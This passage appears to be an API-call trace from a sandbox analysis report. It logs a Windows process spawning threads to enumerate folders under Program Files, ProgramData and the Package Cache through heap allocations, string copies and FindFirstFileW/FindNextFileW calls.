Office\\Office14\\Document Parts\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*" [0066.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7258 [0066.441] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x4b7258) Thread: id = 1504 os_tid = 0x18d0 [0066.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) Thread: id = 1505 os_tid = 0x18d4 [0066.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec6448 [0066.441] wcscpy (in: _Dest=0x5ec6448, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0066.441] wcscat (in: _Dest=0x5ec6448, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0066.442] wcscat (in: _Dest=0x5ec6448, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" [0066.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8f38 [0066.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6760 [0066.442] wcscmp (_String1=".", _String2=".") returned 0 [0066.442] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.442] wcscmp (_String1="..", _String2=".") returned 1 [0066.442] wcscmp (_String1="..", _String2="..") returned 0 [0066.442] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0066.442] FindClose (in: hFindFile=0x4a6760 | out: hFindFile=0x4a6760) returned 1 [0066.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8f38) returned 1 [0066.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec6448) returned 1 [0066.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eeab8) returned 1 Thread: id = 1506 os_tid = 0x18d8 [0066.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48db40 [0066.443] wcscpy (in: _Dest=0x48db40, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0066.443] wcscat (in: _Dest=0x48db40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\" [0066.443] wcscat (in: _Dest=0x48db40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*" [0066.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8f38 [0066.443] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x4b8f38) Thread: id = 1507 os_tid = 0x18dc [0066.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eeab8 [0066.456] wcscpy (in: _Dest=0x4eeab8, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0066.456] wcscat (in: _Dest=0x4eeab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0066.456] wcscat (in: _Dest=0x4eeab8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" [0066.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba010 [0066.456] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6760 [0066.457] wcscmp (_String1=".", _String2=".") returned 0 [0066.457] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.457] wcscmp (_String1="..", _String2=".") returned 1 [0066.457] wcscmp (_String1="..", _String2="..") returned 0 [0066.457] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0066.457] wcscmp (_String1="packages", _String2=".") returned 1 [0066.457] wcscmp (_String1="packages", _String2="..") returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x444300 [0066.457] wcscpy (in: _Dest=0x444300, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0066.457] wcscat (in: _Dest=0x444300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0066.457] wcscat (in: _Dest=0x444300, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0066.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac [0066.981] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0066.981] FindClose (in: hFindFile=0x4a6760 | out: hFindFile=0x4a6760) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba010) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eeab8) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee018) returned 1 Thread: id = 1508 os_tid = 0x18e0 [0066.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec6448 [0066.458] wcscpy (in: _Dest=0x5ec6448, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0066.458] wcscat (in: _Dest=0x5ec6448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0066.458] wcscat (in: _Dest=0x5ec6448, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" [0066.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b91a0 [0066.458] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x4b91a0) Thread: id = 1509 os_tid = 0x18e4 [0066.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c7a0 [0066.458] wcscpy (in: _Dest=0x45c7a0, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0066.458] wcscat (in: _Dest=0x45c7a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0066.458] wcscat (in: _Dest=0x45c7a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0066.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8800 [0066.459] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x4b8800) Thread: id = 1510 os_tid = 0x18e8 [0066.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec64e8 [0066.459] wcscpy (in: _Dest=0x5ec64e8, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0066.459] wcscat (in: _Dest=0x5ec64e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0066.459] wcscat (in: _Dest=0x5ec64e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0066.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b74c0 [0066.459] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x4b74c0) Thread: id = 1511 os_tid = 0x18ec [0066.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45cbf0 [0066.460] wcscpy (in: _Dest=0x45cbf0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0066.460] wcscat (in: _Dest=0x45cbf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0066.460] wcscat (in: _Dest=0x45cbf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0066.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8cd0 [0066.460] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x4b8cd0) Thread: id = 1512 os_tid = 0x18f0 [0066.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6588 [0066.460] wcscpy (in: _Dest=0x5ec6588, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0066.460] wcscat (in: _Dest=0x5ec6588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0066.460] wcscat (in: _Dest=0x5ec6588, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0066.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7990 [0066.461] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x4b7990) Thread: id = 1513 os_tid = 0x18f4 [0066.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45cb38 [0066.461] wcscpy (in: _Dest=0x45cb38, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0066.461] wcscat (in: _Dest=0x45cb38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0066.461] wcscat (in: _Dest=0x45cb38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0066.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba278 [0066.461] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x4ba278) Thread: id = 1514 os_tid = 0x18f8 [0066.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45ce18 [0066.462] wcscpy (in: _Dest=0x45ce18, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0066.462] wcscat (in: _Dest=0x45ce18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0066.462] wcscat (in: _Dest=0x45ce18, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0066.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9b40 [0066.462] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x4b9b40) Thread: id = 1515 os_tid = 0x18fc [0066.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45cd60 [0066.462] wcscpy (in: _Dest=0x45cd60, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0066.462] wcscat (in: _Dest=0x45cd60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0066.462] wcscat (in: _Dest=0x45cd60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0066.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba748 [0066.462] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x4ba748) Thread: id = 1516 os_tid = 0x1900 [0066.463] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45ca80 [0066.463] wcscpy (in: _Dest=0x45ca80, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0066.463] wcscat (in: _Dest=0x45ca80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0066.463] wcscat (in: _Dest=0x45ca80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0066.463] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba9b0 [0066.463] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x4ba9b0) Thread: id = 1517 os_tid = 0x1904 [0066.463] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c298 [0066.463] wcscpy (in: _Dest=0x45c298, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0066.463] wcscat (in: _Dest=0x45c298, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0066.463] wcscat (in: _Dest=0x45c298, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0066.463] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba4e0 [0066.464] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x4ba4e0) Thread: id = 1518 os_tid = 0x1908 [0066.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45cca8 [0066.464] wcscpy (in: _Dest=0x45cca8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0066.464] wcscat (in: _Dest=0x45cca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0066.464] wcscat (in: _Dest=0x45cca8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0066.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4889a0 [0066.464] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x4889a0) Thread: id = 1519 os_tid = 0x190c [0066.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45cf88 [0066.465] wcscpy (in: _Dest=0x45cf88, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0066.465] wcscat (in: _Dest=0x45cf88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0066.465] wcscat (in: _Dest=0x45cf88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0066.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488268 [0066.465] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x488268) Thread: id = 1520 os_tid = 0x1910 [0066.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6628 [0066.465] wcscpy (in: _Dest=0x5ec6628, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0066.465] wcscat (in: _Dest=0x5ec6628, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") 